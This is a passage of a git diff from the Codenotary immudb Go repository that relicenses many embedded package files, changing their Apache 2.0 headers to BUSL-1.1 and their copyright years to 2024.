http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/document/errors_test.go b/embedded/document/errors_test.go index 8e3d9558df..2794af04c0 100644 --- a/embedded/document/errors_test.go +++ b/embedded/document/errors_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/document/options.go b/embedded/document/options.go index d24dd76770..5ec7981c44 100644 --- a/embedded/document/options.go +++ b/embedded/document/options.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/document/options_test.go b/embedded/document/options_test.go index b6b90fa3e0..cef769fce7 100644 --- a/embedded/document/options_test.go +++ b/embedded/document/options_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/document/type_conversions.go b/embedded/document/type_conversions.go index 535194bf2c..62221a7f1b 100644 --- a/embedded/document/type_conversions.go +++ b/embedded/document/type_conversions.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/document/type_conversions_test.go b/embedded/document/type_conversions_test.go index b0033e6134..a456115077 100644 --- a/embedded/document/type_conversions_test.go +++ b/embedded/document/type_conversions_test.go @@ -1,11 +1,11 @@ /* -Copyright 2023 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/errors.go b/embedded/errors.go index 853f844916..c28f7b5b38 100644 --- a/embedded/errors.go +++ b/embedded/errors.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/htree/htree.go b/embedded/htree/htree.go index 498e7fe02c..0bfb5d578d 100644 --- a/embedded/htree/htree.go +++ b/embedded/htree/htree.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/htree/htree_test.go b/embedded/htree/htree_test.go index fc7dca9d72..6d3811b13b 100644 --- a/embedded/htree/htree_test.go +++ b/embedded/htree/htree_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/logger/file.go b/embedded/logger/file.go index a557ffd429..6cf7ec69b7 100644 --- a/embedded/logger/file.go +++ b/embedded/logger/file.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/logger/file_test.go b/embedded/logger/file_test.go index 3ac569a336..d6c1479cf1 100644 --- a/embedded/logger/file_test.go +++ b/embedded/logger/file_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/logger/json.go b/embedded/logger/json.go index 13758ff807..1b4b27951c 100644 --- a/embedded/logger/json.go +++ b/embedded/logger/json.go @@ -1,11 +1,11 @@ /* -Copyright 2022 CodeNotary, Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/logger/json_test.go b/embedded/logger/json_test.go index a0e4147c63..5f984d1edb 100644 --- a/embedded/logger/json_test.go +++ b/embedded/logger/json_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 CodeNotary, Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/logger/logger.go b/embedded/logger/logger.go index ad96e21bbb..7c601a3443 100644 --- a/embedded/logger/logger.go +++ b/embedded/logger/logger.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/logger/logger_test.go b/embedded/logger/logger_test.go index 4c10e519ee..f7cd0217dd 100644 --- a/embedded/logger/logger_test.go +++ b/embedded/logger/logger_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 CodeNotary, Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/logger/memory.go b/embedded/logger/memory.go index fca216e91a..464f94ebd2 100644 --- a/embedded/logger/memory.go +++ b/embedded/logger/memory.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/logger/memory_test.go b/embedded/logger/memory_test.go index 180126b7b6..b9bf5feae3 100644 --- a/embedded/logger/memory_test.go +++ b/embedded/logger/memory_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/logger/simple.go b/embedded/logger/simple.go index e563391b5e..0ed57bca6b 100644 --- a/embedded/logger/simple.go +++ b/embedded/logger/simple.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/logger/simple_test.go b/embedded/logger/simple_test.go index 1a2ada27a3..cc5a646c4e 100644 --- a/embedded/logger/simple_test.go +++ b/embedded/logger/simple_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/multierr/multierr.go b/embedded/multierr/multierr.go index ec983eef0a..9687c99d20 100644 --- a/embedded/multierr/multierr.go +++ b/embedded/multierr/multierr.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/multierr/multierr_test.go b/embedded/multierr/multierr_test.go index 6990b6b93b..811177772c 100644 --- a/embedded/multierr/multierr_test.go +++ b/embedded/multierr/multierr_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/remotestorage/memory/memory.go b/embedded/remotestorage/memory/memory.go index 063c11dcee..b5d8945140 100644 --- a/embedded/remotestorage/memory/memory.go +++ b/embedded/remotestorage/memory/memory.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/remotestorage/memory/memory_test.go b/embedded/remotestorage/memory/memory_test.go index ae06555fd2..65436244ae 100644 --- a/embedded/remotestorage/memory/memory_test.go +++ b/embedded/remotestorage/memory/memory_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/remotestorage/remote_storage.go b/embedded/remotestorage/remote_storage.go index f7079fccb7..9e870ef079 100644 --- a/embedded/remotestorage/remote_storage.go +++ b/embedded/remotestorage/remote_storage.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/remotestorage/s3/metrics.go b/embedded/remotestorage/s3/metrics.go index 57ce2ee67e..162d3e1efa 100644 --- a/embedded/remotestorage/s3/metrics.go +++ b/embedded/remotestorage/s3/metrics.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/remotestorage/s3/s3.go b/embedded/remotestorage/s3/s3.go index b43d5a4965..b06c0dea8b 100644 --- a/embedded/remotestorage/s3/s3.go +++ b/embedded/remotestorage/s3/s3.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/remotestorage/s3/s3_test.go b/embedded/remotestorage/s3/s3_test.go index b8598150b0..91e17baae6 100644 --- a/embedded/remotestorage/s3/s3_test.go +++ b/embedded/remotestorage/s3/s3_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/remotestorage/s3/s3_with_minio_test.go b/embedded/remotestorage/s3/s3_with_minio_test.go index 63d11e18da..52fae40c27 100644 --- a/embedded/remotestorage/s3/s3_with_minio_test.go +++ b/embedded/remotestorage/s3/s3_with_minio_test.go @@ -2,13 +2,13 @@ // +build minio /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/aggregated_values.go b/embedded/sql/aggregated_values.go index f22943a5dc..d39d53a6ed 100644 --- a/embedded/sql/aggregated_values.go +++ b/embedded/sql/aggregated_values.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/aggregated_values_test.go b/embedded/sql/aggregated_values_test.go index 4b7688a901..79db657739 100644 --- a/embedded/sql/aggregated_values_test.go +++ b/embedded/sql/aggregated_values_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index fd6a0877cc..7f99a34c41 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/catalog_test.go b/embedded/sql/catalog_test.go index 534150a2ed..9c812f1da2 100644 --- a/embedded/sql/catalog_test.go +++ b/embedded/sql/catalog_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/cond_row_reader.go b/embedded/sql/cond_row_reader.go index 4be9619de5..580dc110fe 100644 --- a/embedded/sql/cond_row_reader.go +++ b/embedded/sql/cond_row_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/cond_row_reader_test.go b/embedded/sql/cond_row_reader_test.go index 513714b8b2..11924f4a55 100644 --- a/embedded/sql/cond_row_reader_test.go +++ b/embedded/sql/cond_row_reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/distinct_row_reader.go b/embedded/sql/distinct_row_reader.go index d25933e39f..08ecd6a202 100644 --- a/embedded/sql/distinct_row_reader.go +++ b/embedded/sql/distinct_row_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/distinct_row_reader_test.go b/embedded/sql/distinct_row_reader_test.go index cc4db63b3b..f470e69d47 100644 --- a/embedded/sql/distinct_row_reader_test.go +++ b/embedded/sql/distinct_row_reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/dummy_data_source_test.go b/embedded/sql/dummy_data_source_test.go index 8f77a371cc..c97aceece7 100644 --- a/embedded/sql/dummy_data_source_test.go +++ b/embedded/sql/dummy_data_source_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/dummy_row_reader_test.go b/embedded/sql/dummy_row_reader_test.go index b0480b5a1c..59c3c25cb5 100644 --- a/embedded/sql/dummy_row_reader_test.go +++ b/embedded/sql/dummy_row_reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index cf5a904cf3..62de221f08 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index fbe4e8e70c..6e11f12765 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/grouped_row_reader.go b/embedded/sql/grouped_row_reader.go index 471cdddacc..92e3027729 100644 --- a/embedded/sql/grouped_row_reader.go +++ b/embedded/sql/grouped_row_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/grouped_row_reader_test.go b/embedded/sql/grouped_row_reader_test.go index 36a9e2c3b2..e84fe26e22 100644 --- a/embedded/sql/grouped_row_reader_test.go +++ b/embedded/sql/grouped_row_reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/implicit_conversion.go b/embedded/sql/implicit_conversion.go index a69fca80d1..a93f503f61 100644 --- a/embedded/sql/implicit_conversion.go +++ b/embedded/sql/implicit_conversion.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/implicit_conversion_test.go b/embedded/sql/implicit_conversion_test.go index fc950e3005..78ffa5cc2d 100644 --- a/embedded/sql/implicit_conversion_test.go +++ b/embedded/sql/implicit_conversion_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/joint_row_reader.go b/embedded/sql/joint_row_reader.go index 37055652b7..ddd04b717a 100644 --- a/embedded/sql/joint_row_reader.go +++ b/embedded/sql/joint_row_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/joint_row_reader_test.go b/embedded/sql/joint_row_reader_test.go index 0f4d2633f5..ba8fa267cd 100644 --- a/embedded/sql/joint_row_reader_test.go +++ b/embedded/sql/joint_row_reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/limit_row_reader.go b/embedded/sql/limit_row_reader.go index e829a225fc..602e662c2a 100644 --- a/embedded/sql/limit_row_reader.go +++ b/embedded/sql/limit_row_reader.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); +SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/embedded/sql/limit_row_reader_test.go b/embedded/sql/limit_row_reader_test.go index 1414577e0b..3842a42af0 100644 --- a/embedded/sql/limit_row_reader_test.go +++ b/embedded/sql/limit_row_reader_test.go @@ -1,11 +1,11 @@ /* -Copyright 2022 Codenotary Inc. All rights reserved. +Copyright 2024 Codenotary Inc. All rights reserved. -Licensed under the Apache License, Version 2.0 (the "License"); 